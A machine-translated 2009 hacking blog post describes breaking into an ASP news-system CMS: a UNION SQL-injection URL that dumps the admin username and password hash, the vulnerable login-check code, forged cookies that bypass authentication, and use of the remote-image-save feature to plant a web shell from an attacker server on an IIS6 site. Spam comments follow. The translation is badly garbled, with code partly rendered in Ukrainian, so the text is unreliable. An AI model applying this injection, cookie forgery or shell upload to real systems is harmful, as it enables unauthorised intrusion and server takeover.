Кипіння система новин v0.45 Візьміть SHELL-IIS6 аналізу вразливостей News.asp, кип'ятіння, кип'ятіння новини системи, введення пульта дистанційного керування для збереження зображення,-st0p блогу

Кипіння новини системи v0.45, щоб отримати SHELL

Ця запис була розміщена на 25 вересня 2009

: St0p
Відтворюється вкажіть джерело: http://www.st0p.org

Примітка: щоб нагадати адміністратор цільової станції, щоб заповнити діру.

Див групу, до якої не всі матеріали, відправлені на станцію, відкриту подивився б кип'ятити новини системи, але письмові версії V0.1, інтернет не знайти підходящий варіант, є дві версії 1.1 і 0.45, пам'ятаю вводиться News.asp існують, звичайно, але через різні версій, так що поле новина стіл, всі заяви є дещо інша.

Після спроби st0p, станції призначення повинна бути 0,45 тло ім'я користувача та пароль HASH успіху завдяки наступним заявою, я намагався 27 полів успіху. .

  http://st0p.org/News.asp?click=1&shu=20% 201% 20as% 20NewsID, ім'я користувача% 20as 20title%, 3% 20as 20updatetime%, пароль% 20as% 20click, 5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27% 20from% 20admin% 20% 20order% 20by% 202% 20desc% 20union% 20select% 20top% 202

Бачите, ми не отримали ім'я користувача пароль XCB c95ca278a74775f8, а потім ми пішли, щоб зламати MD5, депресії, з'ясовуючи, не може порушити, не входять у фоновому вийти вперед. . .
Потім я перевірив 0,45 версія коду і знайшов частину в адмін / chkuser.asp перевірки входу користувача в систему, ми дивимося на код

 ( Request . cookies ( "KEY" ) = "super" or Request . cookies ( "KEY" ) = "check" or Request . cookies ( "KEY" ) = "typemaster" or Request . cookies ( "KEY" ) = "bigmaster" or Request . cookies ( "KEY" ) = "smallmaster" or Request . cookies ( "KEY" ) = "selfreg" ) THEN '首先检测cookies中的key，如果不为上面的值，自动转向登陆页面 response . redirect "login.asp" response . end END IF set urs = server . createobject ( "adodb.recordset" ) sql = "select * from admin where username='" & Request. cookies ( "username" ) & "'" '查询cookies中username是否是管理用户 urs. open sql,conn, 1 , 3 if urs. bof or urs. eof then response . redirect "login.asp" response . end end if IF Request . cookies ( "passwd" ) <> urs ( "passwd" ) THEN '如果用户存在，验诈cookies中的passwd字段是否和用户的密码HASH相同，不同则转向 response . redirect "login.asp" response . end END IF urs. close set urs = nothing %> <% IF немає (Request. Cookies ("KEY") = "супер" або запит. Cookies ("KEY") = "чек" або запит. Cookies ("ключ") = "typemaster" або запит. Cookies ("KEY ") =" bigmaster "або запит. печиво (" ключ ") =" smallmaster "або запит. печиво (" ключ ") =" selfreg "), то" перший виявити печиво ключ, якби не вартість вище, автоматично звернутися до цільової сторінці є відповідь перенаправлення "login.asp" відповідь. кінця END IF набір ур = сервера. CreateObject ("ADODB.Recordset») SQL = "SELECT * FROM адміністратора, де ім'я користувача = '" & запиту печиво ("Ім'я користувача") & "'"' запити печиво ім'я користувача, чи є користувач з правами адміністратора ура. Open SQL, сопп, 1, 3, якщо УРС. BOF або УРС. кінець файла, то відповідь. redirect "login.asp" відповідь кінці Зрештою, якщо Якщо запит. печиво ( "ПАРОЛЬ") <> УРС ("ПАРОЛЬ") THEN 'Якщо користувач існує, PASSWD печиво досвід польової обман, якщо пароль користувача HASH інший оборот у відповідь. redirect "login.asp" відповідь. кінця END IF УРС. закрити набір ура = нічого%>

Гей, дійсно удача, хоча це неможливо зламати хеш пароля, але ви можете використовувати його для реалізації обману. Зверніть увагу на використання процесу. .
Ми будемо використовувати домен відкритим http://st0p.org/admin/index.asp, коли він піде в login.asp

А потім видалити кукі reglevel; Повна назва; компетенції; KEY; UserName частини, а потім додати UserName = XCB, KEY = супер, PASSWD = c95ca278a74775f8, ім'я користувача та пароль, заміна, ключ може безпосередньо використовувати супер.
Відзначимо змінити

І потім змінити URL-адресу було змінено http://st0p.org/admin/index.asp посилання точку

Успішне вступ у фоновому режимі, агов, ми направляємо кажучи вже про право, ця система має можливість зберігати видалені зображення, ми використовували, щоб прийти і забрати SHELL-перше, додавати статті, а потім вставте в графічний редактор, адреса на нашому сервері коні, вставити, виберіть Зберегти віддалених зображень. І тоді уявити

Тоді ми тільки повинні мати доступ додати хорошу статтю, скопіюйте картину всередині адреси. Сервер цільової станції IIS6, в попередньому пункті, також не повідомляється аналізу вразливостей, просто використовувати, хе-хе.
Тепер у нас є слово поні, і чому я не говорю. . .
Тим не менш, права доступу до цільової станції цілком BT, тільки каталог завантаження записи, але і не можуть бути видалені. . Повільно, не має права на нього, перша згадка про. . .

· Дізнатися, бойові мистецтва коди

157 Відповідей на "кипіння новини системи v0.45, щоб отримати SHELL

За Minghacker на 26 вересня 2009 | Відповісти
Даніель st0p ~ ~ ~ ~ поклоніння
За icysun на 26 вересня 2009 | Відповісти
Не системі ..
Облігації цьому середовищі світ Я. ..
st0p Відповідь:
26 вересня 2009 в 12:21
Ви говорите, що я роблю це?
Кипіння і 0,45 новини системи,
icysun Відповідь:
26 вересня 2009 в 12:30
Та
За b00lean на 28 вересня 2009 | Відповісти
st0p худоби Ви не нашої школи, як не йти
За jshfuitg на 25 листопада 2009 | Відповісти
dCATec qhuvtpiheyue , [url = http://ggwyligshlfd.com/ ggwyligshlfd [/ url], [посилання = http://nxjhtastnpxn.com/] nxjhtastnpxn [/ посилання], http://kwxzxruczflr.com/
За adkpaxv на 27 листопада 2009 | Відповісти
T9v9E0 oihbhcyxrstd , [url = http://ztggdtdbkkjc.com/ ztggdtdbkkjc [/ url], [посилання = http://haboolnldgjd.com/] haboolnldgjd [/ посилання], http://zsjtcxcsvmjj.com/
За Seengart на 14 грудня 2009 | Відповісти
да .. спасибі за цю думку )
За FarmerLupe33 на 4 листопада 2011 | Відповісти
Кредити, здається, щоб бути корисним для людей, які готові почати свою кар'єру. Справді, це не важко отримати комерційний кредит.